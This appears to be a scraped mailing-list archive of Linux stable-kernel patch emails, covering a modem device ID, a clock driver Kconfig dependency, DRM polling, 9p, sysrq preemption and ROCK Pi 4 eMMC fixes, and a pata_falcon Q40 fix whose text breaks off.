{QMI_QUIRK_SET_DTR(0x2c7c, 0x0191, 4)}, /* Quectel EG91 */
{QMI_QUIRK_SET_DTR(0x2c7c, 0x0195, 4)}, /* Quectel EG95 */
{QMI_FIXED_INTF(0x2c7c, 0x0296, 4)}, /* Quectel BG96 */
+ {QMI_QUIRK_SET_DTR(0x2c7c, 0x030e, 4)}, /* Quectel EM05GV2 */
{QMI_QUIRK_SET_DTR(0x2cb7, 0x0104, 4)}, /* Fibocom NL678 series */
{QMI_FIXED_INTF(0x0489, 0xe0b4, 0)}, /* Foxconn T77W968 LTE */
{QMI_FIXED_INTF(0x0489, 0xe0b5, 0)}, /* Foxconn T77W968 LTE with eSIM support*/
--
2.40.1
2 years, 4 months
- 1
- 1
[PATCH AUTOSEL 4.19 1/2] net: usb: qmi_wwan: add Quectel EM05GV2
by Sasha Levin
From: Martin Kohn <m.kohn(a)welotec.com>
[ Upstream commit d4480c9bb9258db9ddf2e632f6ef81e96b41089c ]
Add support for Quectel EM05GV2 (G=global) with vendor ID
0x2c7c and product ID 0x030e
Enabling DTR on this modem was necessary to ensure stable operation.
Patch for usb: serial: option: is also in progress.
T: Bus=01 Lev=01 Prnt=01 Port=00 Cnt=01 Dev#= 2 Spd=480 MxCh= 0
D: Ver= 2.00 Cls=ef(misc ) Sub=02 Prot=01 MxPS=64 #Cfgs= 1
P: Vendor=2c7c ProdID=030e Rev= 3.18
S: Manufacturer=Quectel
S: Product=Quectel EM05-G
C:* #Ifs= 5 Cfg#= 1 Atr=a0 MxPwr=500mA
I:* If#= 0 Alt= 0 #EPs= 2 Cls=ff(vend.) Sub=ff Prot=ff Driver=option
E: Ad=81(I) Atr=02(Bulk) MxPS= 512 Ivl=0ms
E: Ad=01(O) Atr=02(Bulk) MxPS= 512 Ivl=0ms
I:* If#= 1 Alt= 0 #EPs= 3 Cls=ff(vend.) Sub=00 Prot=00 Driver=option
E: Ad=83(I) Atr=03(Int.) MxPS= 10 Ivl=32ms
E: Ad=82(I) Atr=02(Bulk) MxPS= 512 Ivl=0ms
E: Ad=02(O) Atr=02(Bulk) MxPS= 512 Ivl=0ms
I:* If#= 2 Alt= 0 #EPs= 3 Cls=ff(vend.) Sub=00 Prot=00 Driver=option
E: Ad=85(I) Atr=03(Int.) MxPS= 10 Ivl=32ms
E: Ad=84(I) Atr=02(Bulk) MxPS= 512 Ivl=0ms
E: Ad=03(O) Atr=02(Bulk) MxPS= 512 Ivl=0ms
I:* If#= 3 Alt= 0 #EPs= 3 Cls=ff(vend.) Sub=00 Prot=00 Driver=option
E: Ad=87(I) Atr=03(Int.) MxPS= 10 Ivl=32ms
E: Ad=86(I) Atr=02(Bulk) MxPS= 512 Ivl=0ms
E: Ad=04(O) Atr=02(Bulk) MxPS= 512 Ivl=0ms
I:* If#= 4 Alt= 0 #EPs= 3 Cls=ff(vend.) Sub=ff Prot=ff Driver=qmi_wwan
E: Ad=89(I) Atr=03(Int.) MxPS= 8 Ivl=32ms
E: Ad=88(I) Atr=02(Bulk) MxPS= 512 Ivl=0ms
E: Ad=05(O) Atr=02(Bulk) MxPS= 512 Ivl=0ms
Signed-off-by: Martin Kohn <m.kohn(a)welotec.com>
Link: https://lore.kernel.org/r/AM0PR04MB57648219DE893EE04FA6CC759701A@AM0PR04MB5…
Signed-off-by: Jakub Kicinski <kuba(a)kernel.org>
Signed-off-by: Sasha Levin <sashal(a)kernel.org>
---
drivers/net/usb/qmi_wwan.c | 1 +
1 file changed, 1 insertion(+)
diff --git a/drivers/net/usb/qmi_wwan.c b/drivers/net/usb/qmi_wwan.c
index c5781888f2f7b..aefa57e726954 100644
--- a/drivers/net/usb/qmi_wwan.c
+++ b/drivers/net/usb/qmi_wwan.c
@@ -1376,6 +1376,7 @@ static const struct usb_device_id products[] = {
{QMI_QUIRK_SET_DTR(0x2c7c, 0x0191, 4)}, /* Quectel EG91 */
{QMI_QUIRK_SET_DTR(0x2c7c, 0x0195, 4)}, /* Quectel EG95 */
{QMI_FIXED_INTF(0x2c7c, 0x0296, 4)}, /* Quectel BG96 */
+ {QMI_QUIRK_SET_DTR(0x2c7c, 0x030e, 4)}, /* Quectel EM05GV2 */
{QMI_QUIRK_SET_DTR(0x2cb7, 0x0104, 4)}, /* Fibocom NL678 series */
{QMI_FIXED_INTF(0x0489, 0xe0b4, 0)}, /* Foxconn T77W968 LTE */
{QMI_FIXED_INTF(0x0489, 0xe0b5, 0)}, /* Foxconn T77W968 LTE with eSIM support*/
--
2.40.1
2 years, 4 months
- 1
- 1
[PATCH AUTOSEL 5.4 1/3] clk: fixed-mmio: make COMMON_CLK_FIXED_MMIO depend on HAS_IOMEM
by Sasha Levin
From: Baoquan He <bhe(a)redhat.com>
[ Upstream commit e7dd44f4f3166db45248414f5df8f615392de47a ]
On s390 systems (aka mainframes), it has classic channel devices for
networking and permanent storage that are currently even more common
than PCI devices. Hence it could have a fully functional s390 kernel
with CONFIG_PCI=n, then the relevant iomem mapping functions
[including ioremap(), devm_ioremap(), etc.] are not available.
Here let COMMON_CLK_FIXED_MMIO depend on HAS_IOMEM so that it won't
be built to cause below compiling error if PCI is unset:
------
ld: drivers/clk/clk-fixed-mmio.o: in function `fixed_mmio_clk_setup':
clk-fixed-mmio.c:(.text+0x5e): undefined reference to `of_iomap'
ld: clk-fixed-mmio.c:(.text+0xba): undefined reference to `iounmap'
------
Reported-by: kernel test robot <lkp(a)intel.com>
Closes: https://lore.kernel.org/oe-kbuild-all/202306211329.ticOJCSv-lkp@intel.com/
Signed-off-by: Baoquan He <bhe(a)redhat.com>
Cc: Michael Turquette <mturquette(a)baylibre.com>
Cc: Stephen Boyd <sboyd(a)kernel.org>
Cc: linux-clk(a)vger.kernel.org
Link: https://lore.kernel.org/r/20230707135852.24292-8-bhe@redhat.com
Signed-off-by: Stephen Boyd <sboyd(a)kernel.org>
Signed-off-by: Sasha Levin <sashal(a)kernel.org>
---
drivers/clk/Kconfig | 1 +
1 file changed, 1 insertion(+)
diff --git a/drivers/clk/Kconfig b/drivers/clk/Kconfig
index cc871ae3a1792..5b34dbc830ee4 100644
--- a/drivers/clk/Kconfig
+++ b/drivers/clk/Kconfig
@@ -302,6 +302,7 @@ config COMMON_CLK_BD718XX
config COMMON_CLK_FIXED_MMIO
bool "Clock driver for Memory Mapped Fixed values"
depends on COMMON_CLK && OF
+ depends on HAS_IOMEM
help
Support for Memory Mapped IO Fixed clocks
--
2.40.1
2 years, 4 months
- 1
- 2
[PATCH AUTOSEL 5.10 1/4] clk: fixed-mmio: make COMMON_CLK_FIXED_MMIO depend on HAS_IOMEM
by Sasha Levin
From: Baoquan He <bhe(a)redhat.com>
[ Upstream commit e7dd44f4f3166db45248414f5df8f615392de47a ]
On s390 systems (aka mainframes), it has classic channel devices for
networking and permanent storage that are currently even more common
than PCI devices. Hence it could have a fully functional s390 kernel
with CONFIG_PCI=n, then the relevant iomem mapping functions
[including ioremap(), devm_ioremap(), etc.] are not available.
Here let COMMON_CLK_FIXED_MMIO depend on HAS_IOMEM so that it won't
be built to cause below compiling error if PCI is unset:
------
ld: drivers/clk/clk-fixed-mmio.o: in function `fixed_mmio_clk_setup':
clk-fixed-mmio.c:(.text+0x5e): undefined reference to `of_iomap'
ld: clk-fixed-mmio.c:(.text+0xba): undefined reference to `iounmap'
------
Reported-by: kernel test robot <lkp(a)intel.com>
Closes: https://lore.kernel.org/oe-kbuild-all/202306211329.ticOJCSv-lkp@intel.com/
Signed-off-by: Baoquan He <bhe(a)redhat.com>
Cc: Michael Turquette <mturquette(a)baylibre.com>
Cc: Stephen Boyd <sboyd(a)kernel.org>
Cc: linux-clk(a)vger.kernel.org
Link: https://lore.kernel.org/r/20230707135852.24292-8-bhe@redhat.com
Signed-off-by: Stephen Boyd <sboyd(a)kernel.org>
Signed-off-by: Sasha Levin <sashal(a)kernel.org>
---
drivers/clk/Kconfig | 1 +
1 file changed, 1 insertion(+)
diff --git a/drivers/clk/Kconfig b/drivers/clk/Kconfig
index 4ae49eae45869..df739665f2063 100644
--- a/drivers/clk/Kconfig
+++ b/drivers/clk/Kconfig
@@ -356,6 +356,7 @@ config COMMON_CLK_BD718XX
config COMMON_CLK_FIXED_MMIO
bool "Clock driver for Memory Mapped Fixed values"
depends on COMMON_CLK && OF
+ depends on HAS_IOMEM
help
Support for Memory Mapped IO Fixed clocks
--
2.40.1
2 years, 4 months
- 1
- 3
[PATCH AUTOSEL 5.15 1/4] clk: fixed-mmio: make COMMON_CLK_FIXED_MMIO depend on HAS_IOMEM
by Sasha Levin
From: Baoquan He <bhe(a)redhat.com>
[ Upstream commit e7dd44f4f3166db45248414f5df8f615392de47a ]
On s390 systems (aka mainframes), it has classic channel devices for
networking and permanent storage that are currently even more common
than PCI devices. Hence it could have a fully functional s390 kernel
with CONFIG_PCI=n, then the relevant iomem mapping functions
[including ioremap(), devm_ioremap(), etc.] are not available.
Here let COMMON_CLK_FIXED_MMIO depend on HAS_IOMEM so that it won't
be built to cause below compiling error if PCI is unset:
------
ld: drivers/clk/clk-fixed-mmio.o: in function `fixed_mmio_clk_setup':
clk-fixed-mmio.c:(.text+0x5e): undefined reference to `of_iomap'
ld: clk-fixed-mmio.c:(.text+0xba): undefined reference to `iounmap'
------
Reported-by: kernel test robot <lkp(a)intel.com>
Closes: https://lore.kernel.org/oe-kbuild-all/202306211329.ticOJCSv-lkp@intel.com/
Signed-off-by: Baoquan He <bhe(a)redhat.com>
Cc: Michael Turquette <mturquette(a)baylibre.com>
Cc: Stephen Boyd <sboyd(a)kernel.org>
Cc: linux-clk(a)vger.kernel.org
Link: https://lore.kernel.org/r/20230707135852.24292-8-bhe@redhat.com
Signed-off-by: Stephen Boyd <sboyd(a)kernel.org>
Signed-off-by: Sasha Levin <sashal(a)kernel.org>
---
drivers/clk/Kconfig | 1 +
1 file changed, 1 insertion(+)
diff --git a/drivers/clk/Kconfig b/drivers/clk/Kconfig
index 100e474ff3dc5..d12465c227514 100644
--- a/drivers/clk/Kconfig
+++ b/drivers/clk/Kconfig
@@ -380,6 +380,7 @@ config COMMON_CLK_BD718XX
config COMMON_CLK_FIXED_MMIO
bool "Clock driver for Memory Mapped Fixed values"
depends on COMMON_CLK && OF
+ depends on HAS_IOMEM
help
Support for Memory Mapped IO Fixed clocks
--
2.40.1
2 years, 4 months
- 1
- 3
[PATCH AUTOSEL 6.1 1/9] clk: fixed-mmio: make COMMON_CLK_FIXED_MMIO depend on HAS_IOMEM
by Sasha Levin
From: Baoquan He <bhe(a)redhat.com>
[ Upstream commit e7dd44f4f3166db45248414f5df8f615392de47a ]
On s390 systems (aka mainframes), it has classic channel devices for
networking and permanent storage that are currently even more common
than PCI devices. Hence it could have a fully functional s390 kernel
with CONFIG_PCI=n, then the relevant iomem mapping functions
[including ioremap(), devm_ioremap(), etc.] are not available.
Here let COMMON_CLK_FIXED_MMIO depend on HAS_IOMEM so that it won't
be built to cause below compiling error if PCI is unset:
------
ld: drivers/clk/clk-fixed-mmio.o: in function `fixed_mmio_clk_setup':
clk-fixed-mmio.c:(.text+0x5e): undefined reference to `of_iomap'
ld: clk-fixed-mmio.c:(.text+0xba): undefined reference to `iounmap'
------
Reported-by: kernel test robot <lkp(a)intel.com>
Closes: https://lore.kernel.org/oe-kbuild-all/202306211329.ticOJCSv-lkp@intel.com/
Signed-off-by: Baoquan He <bhe(a)redhat.com>
Cc: Michael Turquette <mturquette(a)baylibre.com>
Cc: Stephen Boyd <sboyd(a)kernel.org>
Cc: linux-clk(a)vger.kernel.org
Link: https://lore.kernel.org/r/20230707135852.24292-8-bhe@redhat.com
Signed-off-by: Stephen Boyd <sboyd(a)kernel.org>
Signed-off-by: Sasha Levin <sashal(a)kernel.org>
---
drivers/clk/Kconfig | 1 +
1 file changed, 1 insertion(+)
diff --git a/drivers/clk/Kconfig b/drivers/clk/Kconfig
index 5da82f2bdd211..a5dcc7293a836 100644
--- a/drivers/clk/Kconfig
+++ b/drivers/clk/Kconfig
@@ -427,6 +427,7 @@ config COMMON_CLK_BD718XX
config COMMON_CLK_FIXED_MMIO
bool "Clock driver for Memory Mapped Fixed values"
depends on COMMON_CLK && OF
+ depends on HAS_IOMEM
help
Support for Memory Mapped IO Fixed clocks
--
2.40.1
2 years, 4 months
- 1
- 8
[CI 1/2] drm: Add an HPD poll helper to reschedule the poll work
by Imre Deak
Add a helper to reschedule drm_mode_config::output_poll_work after
polling has been enabled for a connector (and needing a reschedule,
since previously polling was disabled for all connectors and hence
output_poll_work was not running).
This is needed by the next patch fixing HPD polling on i915.
CC: stable(a)vger.kernel.org # 6.4+
Cc: Dmitry Baryshkov <dmitry.baryshkov(a)linaro.org>
Cc: dri-devel(a)lists.freedesktop.org
Reviewed-by: Jouni Högander <jouni.hogander(a)intel.com>
Reviewed-by: Dmitry Baryshkov <dmitry.baryshkov(a)linaro.org>
Signed-off-by: Imre Deak <imre.deak(a)intel.com>
---
drivers/gpu/drm/drm_probe_helper.c | 68 ++++++++++++++++++++----------
include/drm/drm_probe_helper.h | 1 +
2 files changed, 47 insertions(+), 22 deletions(-)
diff --git a/drivers/gpu/drm/drm_probe_helper.c b/drivers/gpu/drm/drm_probe_helper.c
index 2fb9bf901a2cc..3f479483d7d80 100644
--- a/drivers/gpu/drm/drm_probe_helper.c
+++ b/drivers/gpu/drm/drm_probe_helper.c
@@ -262,6 +262,26 @@ static bool drm_kms_helper_enable_hpd(struct drm_device *dev)
}
#define DRM_OUTPUT_POLL_PERIOD (10*HZ)
+static void reschedule_output_poll_work(struct drm_device *dev)
+{
+ unsigned long delay = DRM_OUTPUT_POLL_PERIOD;
+
+ if (dev->mode_config.delayed_event)
+ /*
+ * FIXME:
+ *
+ * Use short (1s) delay to handle the initial delayed event.
+ * This delay should not be needed, but Optimus/nouveau will
+ * fail in a mysterious way if the delayed event is handled as
+ * soon as possible like it is done in
+ * drm_helper_probe_single_connector_modes() in case the poll
+ * was enabled before.
+ */
+ delay = HZ;
+
+ schedule_delayed_work(&dev->mode_config.output_poll_work, delay);
+}
+
/**
* drm_kms_helper_poll_enable - re-enable output polling.
* @dev: drm_device
@@ -279,37 +299,41 @@ static bool drm_kms_helper_enable_hpd(struct drm_device *dev)
*/
void drm_kms_helper_poll_enable(struct drm_device *dev)
{
- bool poll = false;
- unsigned long delay = DRM_OUTPUT_POLL_PERIOD;
-
if (!dev->mode_config.poll_enabled || !drm_kms_helper_poll ||
dev->mode_config.poll_running)
return;
- poll = drm_kms_helper_enable_hpd(dev);
-
- if (dev->mode_config.delayed_event) {
- /*
- * FIXME:
- *
- * Use short (1s) delay to handle the initial delayed event.
- * This delay should not be needed, but Optimus/nouveau will
- * fail in a mysterious way if the delayed event is handled as
- * soon as possible like it is done in
- * drm_helper_probe_single_connector_modes() in case the poll
- * was enabled before.
- */
- poll = true;
- delay = HZ;
- }
-
- if (poll)
- schedule_delayed_work(&dev->mode_config.output_poll_work, delay);
+ if (drm_kms_helper_enable_hpd(dev) ||
+ dev->mode_config.delayed_event)
+ reschedule_output_poll_work(dev);
dev->mode_config.poll_running = true;
}
EXPORT_SYMBOL(drm_kms_helper_poll_enable);
+/**
+ * drm_kms_helper_poll_reschedule - reschedule the output polling work
+ * @dev: drm_device
+ *
+ * This function reschedules the output polling work, after polling for a
+ * connector has been enabled.
+ *
+ * Drivers must call this helper after enabling polling for a connector by
+ * setting %DRM_CONNECTOR_POLL_CONNECT / %DRM_CONNECTOR_POLL_DISCONNECT flags
+ * in drm_connector::polled. Note that after disabling polling by clearing these
+ * flags for a connector will stop the output polling work automatically if
+ * the polling is disabled for all other connectors as well.
+ *
+ * The function can be called only after polling has been enabled by calling
+ * drm_kms_helper_poll_init() / drm_kms_helper_poll_enable().
+ */
+void drm_kms_helper_poll_reschedule(struct drm_device *dev)
+{
+ if (dev->mode_config.poll_running)
+ reschedule_output_poll_work(dev);
+}
+EXPORT_SYMBOL(drm_kms_helper_poll_reschedule);
+
static enum drm_connector_status
drm_helper_probe_detect_ctx(struct drm_connector *connector, bool force)
{
diff --git a/include/drm/drm_probe_helper.h b/include/drm/drm_probe_helper.h
index 4977e0ab72dbb..fad3c4003b2b5 100644
--- a/include/drm/drm_probe_helper.h
+++ b/include/drm/drm_probe_helper.h
@@ -25,6 +25,7 @@ void drm_kms_helper_connector_hotplug_event(struct drm_connector *connector);
void drm_kms_helper_poll_disable(struct drm_device *dev);
void drm_kms_helper_poll_enable(struct drm_device *dev);
+void drm_kms_helper_poll_reschedule(struct drm_device *dev);
bool drm_kms_helper_is_poll_worker(void);
enum drm_mode_status drm_crtc_helper_mode_valid_fixed(struct drm_crtc *crtc,
--
2.37.2
2 years, 4 months
- 1
- 1
[PATCH AUTOSEL 4.14 1/9] 9p: virtio: make sure 'offs' is initialized in zc_request
by Sasha Levin
From: Dominique Martinet <asmadeus(a)codewreck.org>
[ Upstream commit 4a73edab69d3a6623f03817fe950a2d9585f80e4 ]
Similarly to the previous patch: offs can be used in handle_rerrors
without initializing on small payloads; in this case handle_rerrors will
not use it because of the size check, but it doesn't hurt to make sure
it is zero to please scan-build.
This fixes the following warning:
net/9p/trans_virtio.c:539:3: warning: 3rd function call argument is an uninitialized value [core.CallAndMessage]
handle_rerror(req, in_hdr_len, offs, in_pages);
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Reviewed-by: Simon Horman <simon.horman(a)corigine.com>
Signed-off-by: Dominique Martinet <asmadeus(a)codewreck.org>
Signed-off-by: Eric Van Hensbergen <ericvh(a)kernel.org>
Signed-off-by: Sasha Levin <sashal(a)kernel.org>
---
net/9p/trans_virtio.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/net/9p/trans_virtio.c b/net/9p/trans_virtio.c
index c6a46e8e9eda5..25f5caa57289b 100644
--- a/net/9p/trans_virtio.c
+++ b/net/9p/trans_virtio.c
@@ -401,7 +401,7 @@ p9_virtio_zc_request(struct p9_client *client, struct p9_req_t *req,
struct page **in_pages = NULL, **out_pages = NULL;
struct virtio_chan *chan = client->trans;
struct scatterlist *sgs[4];
- size_t offs;
+ size_t offs = 0;
int need_drop = 0;
p9_debug(P9_DEBUG_TRANS, "virtio request\n");
--
2.40.1
2 years, 4 months
- 2
- 10
[PATCH v2 RESEND] tty/sysrq: replace smp_processor_id() with get_cpu()
by Muhammad Usama Anjum
The smp_processor_id() shouldn't be called from preemptible code.
Instead use get_cpu() and put_cpu() which disables preemption in
addition to getting the processor id. This fixes the following bug:
[ 119.143590] sysrq: Show backtrace of all active CPUs
[ 119.143902] BUG: using smp_processor_id() in preemptible [00000000] code: bash/873
[ 119.144586] caller is debug_smp_processor_id+0x20/0x30
[ 119.144827] CPU: 6 PID: 873 Comm: bash Not tainted 5.10.124-dirty #3
[ 119.144861] Hardware name: QEMU QEMU Virtual Machine, BIOS 2023.05-1 07/22/2023
[ 119.145053] Call trace:
[ 119.145093] dump_backtrace+0x0/0x1a0
[ 119.145122] show_stack+0x18/0x70
[ 119.145141] dump_stack+0xc4/0x11c
[ 119.145159] check_preemption_disabled+0x100/0x110
[ 119.145175] debug_smp_processor_id+0x20/0x30
[ 119.145195] sysrq_handle_showallcpus+0x20/0xc0
[ 119.145211] __handle_sysrq+0x8c/0x1a0
[ 119.145227] write_sysrq_trigger+0x94/0x12c
[ 119.145247] proc_reg_write+0xa8/0xe4
[ 119.145266] vfs_write+0xec/0x280
[ 119.145282] ksys_write+0x6c/0x100
[ 119.145298] __arm64_sys_write+0x20/0x30
[ 119.145315] el0_svc_common.constprop.0+0x78/0x1e4
[ 119.145332] do_el0_svc+0x24/0x8c
[ 119.145348] el0_svc+0x10/0x20
[ 119.145364] el0_sync_handler+0x134/0x140
[ 119.145381] el0_sync+0x180/0x1c0
Cc: stable(a)vger.kernel.org
Fixes: 47cab6a722d4 ("debug lockups: Improve lockup detection, fix generic arch fallback")
Signed-off-by: Muhammad Usama Anjum <usama.anjum(a)collabora.com>
---
Changes since v1:
- Add "Cc: stable(a)vger.kernel.org" tag
---
drivers/tty/sysrq.c | 3 ++-
1 file changed, 2 insertions(+), 1 deletion(-)
diff --git a/drivers/tty/sysrq.c b/drivers/tty/sysrq.c
index 23198e3f1461a..6b4a28bcf2f5f 100644
--- a/drivers/tty/sysrq.c
+++ b/drivers/tty/sysrq.c
@@ -262,13 +262,14 @@ static void sysrq_handle_showallcpus(u8 key)
if (in_hardirq())
regs = get_irq_regs();
- pr_info("CPU%d:\n", smp_processor_id());
+ pr_info("CPU%d:\n", get_cpu());
if (regs)
show_regs(regs);
else
show_stack(NULL, NULL, KERN_INFO);
schedule_work(&sysrq_showallcpus);
+ put_cpu();
}
}
--
2.40.1
2 years, 4 months
- 2
- 2
FAILED: patch "[PATCH] arm64: dts: rockchip: Disable HS400 for eMMC on ROCK Pi 4" failed to apply to 5.4-stable tree
by gregkh＠linuxfoundation.org
The patch below does not apply to the 5.4-stable tree.
If someone wants it applied there, or to any other stable or longterm
tree, then please email the backport, including the original git commit
id to <stable(a)vger.kernel.org>.
To reproduce the conflict and resubmit, you may use the following commands:
git fetch https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/ linux-5.4.y
git checkout FETCH_HEAD
git cherry-pick -x cee572756aa2cb46e959e9797ad4b730b78a050b
# <resolve conflicts, build, test, etc.>
git commit -s
git send-email --to '<stable(a)vger.kernel.org>' --in-reply-to '2023082156-capped-subtext-c4e2@gregkh' --subject-prefix 'PATCH 5.4.y' HEAD^..
Possible dependencies:
cee572756aa2 ("arm64: dts: rockchip: Disable HS400 for eMMC on ROCK Pi 4")
06c5b5690a57 ("arm64: dts: rockchip: sort nodes/properties on rk3399-rock-4")
69448624b770 ("arm64: dts: rockchip: fix regulator name on rk3399-rock-4")
8240e87f16d1 ("arm64: dts: rockchip: fix audio-supply for Rock Pi 4")
697dd494cb1c ("arm64: dts: rockchip: add SPDIF node for ROCK Pi 4")
65bd2b8bdb3b ("arm64: dts: rockchip: add ES8316 codec for ROCK Pi 4")
328c6112787b ("arm64: dts: rockchip: fix supplies on rk3399-rock-pi-4")
b5edb0467370 ("arm64: dts: rockchip: Mark rock-pi-4 as rock-pi-4a dts")
2bc65fef4fe4 ("arm64: dts: rockchip: rename label and nodename pinctrl subnodes that end with gpio")
7a87adbc4afe ("arm64: dts: rockchip: enable DC charger detection pullup on Pinebook Pro")
40df91a894e9 ("arm64: dts: rockchip: fix inverted headphone detection on Pinebook Pro")
5a65505a6988 ("arm64: dts: rockchip: Add initial support for Pinebook Pro")
c2753d15d2b3 ("arm64: dts: rockchip: split rk3399-rockpro64 for v2 and v2.1 boards")
cfd66c682e8b ("arm64: dts: rockchip: Add regulators for PCIe for Radxa Rock Pi 4 board")
023115cdea26 ("arm64: dts: rockchip: add thermal infrastructure to px30")
526ba2e2cf61 ("arm64: dts: rockchip: Enable PCIe for Radxa Rock Pi 4 board")
eb275167d186 ("Merge tag 'armsoc-dt' of git://git.kernel.org/pub/scm/linux/kernel/git/soc/soc")
thanks,
greg k-h
------------------ original commit in Linus's tree ------------------
From cee572756aa2cb46e959e9797ad4b730b78a050b Mon Sep 17 00:00:00 2001
From: Christopher Obbard <chris.obbard(a)collabora.com>
Date: Wed, 5 Jul 2023 15:42:54 +0100
Subject: [PATCH] arm64: dts: rockchip: Disable HS400 for eMMC on ROCK Pi 4
There is some instablity with some eMMC modules on ROCK Pi 4 SBCs running
in HS400 mode. This ends up resulting in some block errors after a while
or after a "heavy" operation utilising the eMMC (e.g. resizing a
filesystem). An example of these errors is as follows:
[ 289.171014] mmc1: running CQE recovery
[ 290.048972] mmc1: running CQE recovery
[ 290.054834] mmc1: running CQE recovery
[ 290.060817] mmc1: running CQE recovery
[ 290.061337] blk_update_request: I/O error, dev mmcblk1, sector 1411072 op 0x1:(WRITE) flags 0x800 phys_seg 36 prio class 0
[ 290.061370] EXT4-fs warning (device mmcblk1p1): ext4_end_bio:348: I/O error 10 writing to inode 29547 starting block 176466)
[ 290.061484] Buffer I/O error on device mmcblk1p1, logical block 172288
[ 290.061531] Buffer I/O error on device mmcblk1p1, logical block 172289
[ 290.061551] Buffer I/O error on device mmcblk1p1, logical block 172290
[ 290.061574] Buffer I/O error on device mmcblk1p1, logical block 172291
[ 290.061592] Buffer I/O error on device mmcblk1p1, logical block 172292
[ 290.061615] Buffer I/O error on device mmcblk1p1, logical block 172293
[ 290.061632] Buffer I/O error on device mmcblk1p1, logical block 172294
[ 290.061654] Buffer I/O error on device mmcblk1p1, logical block 172295
[ 290.061673] Buffer I/O error on device mmcblk1p1, logical block 172296
[ 290.061695] Buffer I/O error on device mmcblk1p1, logical block 172297
Disabling the Command Queue seems to stop the CQE recovery from running,
but doesn't seem to improve the I/O errors. Until this can be investigated
further, disable HS400 mode on the ROCK Pi 4 SBCs to at least stop I/O
errors from occurring.
While we are here, set the eMMC maximum clock frequency to 1.5MHz to
follow the ROCK 4C+.
Fixes: 1b5715c602fd ("arm64: dts: rockchip: add ROCK Pi 4 DTS support")
Signed-off-by: Christopher Obbard <chris.obbard(a)collabora.com>
Tested-By: Folker Schwesinger <dev(a)folker-schwesinger.de>
Link: https://lore.kernel.org/r/20230705144255.115299-2-chris.obbard@collabora.com
Signed-off-by: Heiko Stuebner <heiko(a)sntech.de>
diff --git a/arch/arm64/boot/dts/rockchip/rk3399-rock-pi-4.dtsi b/arch/arm64/boot/dts/rockchip/rk3399-rock-pi-4.dtsi
index 907071d4fe80..95efee311ece 100644
--- a/arch/arm64/boot/dts/rockchip/rk3399-rock-pi-4.dtsi
+++ b/arch/arm64/boot/dts/rockchip/rk3399-rock-pi-4.dtsi
@@ -645,9 +645,9 @@ &saradc {
};
&sdhci {
+ max-frequency = <150000000>;
bus-width = <8>;
- mmc-hs400-1_8v;
- mmc-hs400-enhanced-strobe;
+ mmc-hs200-1_8v;
non-removable;
status = "okay";
};
2 years, 4 months
- 2
- 1
[PATCH v2] tty/sysrq: replace smp_processor_id() with get_cpu()
by Muhammad Usama Anjum
The smp_processor_id() shouldn't be called from preemptible code.
Instead use get_cpu() and put_cpu() which disables preemption in
addition to getting the processor id. This fixes the following bug:
[ 119.143590] sysrq: Show backtrace of all active CPUs
[ 119.143902] BUG: using smp_processor_id() in preemptible [00000000] code: bash/873
[ 119.144586] caller is debug_smp_processor_id+0x20/0x30
[ 119.144827] CPU: 6 PID: 873 Comm: bash Not tainted 5.10.124-dirty #3
[ 119.144861] Hardware name: QEMU QEMU Virtual Machine, BIOS 2023.05-1 07/22/2023
[ 119.145053] Call trace:
[ 119.145093] dump_backtrace+0x0/0x1a0
[ 119.145122] show_stack+0x18/0x70
[ 119.145141] dump_stack+0xc4/0x11c
[ 119.145159] check_preemption_disabled+0x100/0x110
[ 119.145175] debug_smp_processor_id+0x20/0x30
[ 119.145195] sysrq_handle_showallcpus+0x20/0xc0
[ 119.145211] __handle_sysrq+0x8c/0x1a0
[ 119.145227] write_sysrq_trigger+0x94/0x12c
[ 119.145247] proc_reg_write+0xa8/0xe4
[ 119.145266] vfs_write+0xec/0x280
[ 119.145282] ksys_write+0x6c/0x100
[ 119.145298] __arm64_sys_write+0x20/0x30
[ 119.145315] el0_svc_common.constprop.0+0x78/0x1e4
[ 119.145332] do_el0_svc+0x24/0x8c
[ 119.145348] el0_svc+0x10/0x20
[ 119.145364] el0_sync_handler+0x134/0x140
[ 119.145381] el0_sync+0x180/0x1c0
Cc: stable(a)vger.kernel.org
Fixes: 47cab6a722d4 ("debug lockups: Improve lockup detection, fix generic arch fallback")
Signed-off-by: Muhammad Usama Anjum <usama.anjum(a)collabora.com>
---
drivers/tty/sysrq.c | 3 ++-
1 file changed, 2 insertions(+), 1 deletion(-)
diff --git a/drivers/tty/sysrq.c b/drivers/tty/sysrq.c
index 23198e3f1461a..6b4a28bcf2f5f 100644
--- a/drivers/tty/sysrq.c
+++ b/drivers/tty/sysrq.c
@@ -262,13 +262,14 @@ static void sysrq_handle_showallcpus(u8 key)
if (in_hardirq())
regs = get_irq_regs();
- pr_info("CPU%d:\n", smp_processor_id());
+ pr_info("CPU%d:\n", get_cpu());
if (regs)
show_regs(regs);
else
show_stack(NULL, NULL, KERN_INFO);
schedule_work(&sysrq_showallcpus);
+ put_cpu();
}
}
--
2.40.1
2 years, 4 months
- 2
- 1
[PATCH v3 1/2] ata: pata_falcon: fix IO base selection for Q40
by Michael Schmitz
With commit 44b1fbc0f5f3 ("m68k/q40: Replace q40ide driver
with pata_falcon and falconide"), the Q40 IDE driver was
replaced by pata_falcon.c.
Both IO and memory resources were defined for the Q40 IDE
platform device, but definition of the IDE register addresses
was modeled after the Falcon case, both in use of the memory
resources and in including register scale and byte vs. word
offset in the address.
This was correct for the Falcon case, which does not apply
any address translation to the register addresses. In the
Q40 case, all of device base address, byte access offset
and register scaling is included in the platform specific
ISA access translation (in asm/mm_io.h).
As a consequence, such address translation gets applied
twice, and register addresses are mangled.
Use the device base address from the platform IO resource,
and use standard register offsets from that base in order
to calculate register addresses (the IO address translation
will then apply the correct ISA window base and scaling).
Encode PIO_OFFSET into IO port addresses for all registers
except the data transfer register. Encode the MMIO offset
there (pata_falcon_data_xfer() directly uses raw IO with
no address translation).
Reported-by: William R Sowerbutts <will(a)sowerbutts.com>
Closes: https://lore.kernel.org/r/CAMuHMdUU62jjunJh9cqSqHT87B0H0A4udOOPs=WN7WZKpcag…
Link: https://lore.kernel.org/r/CAMuHMdUU62jjunJh9cqSqHT87B0H0A4udOOPs=WN7WZKpcag…
Fixes: 44b1fbc0f5f3 ("m68k/q40: Replace q40ide driver with pata_falcon and falconide")
Cc: stable(a)vger.kernel.org
Cc: Finn Thain <fthain(a)linux-m68k.org>
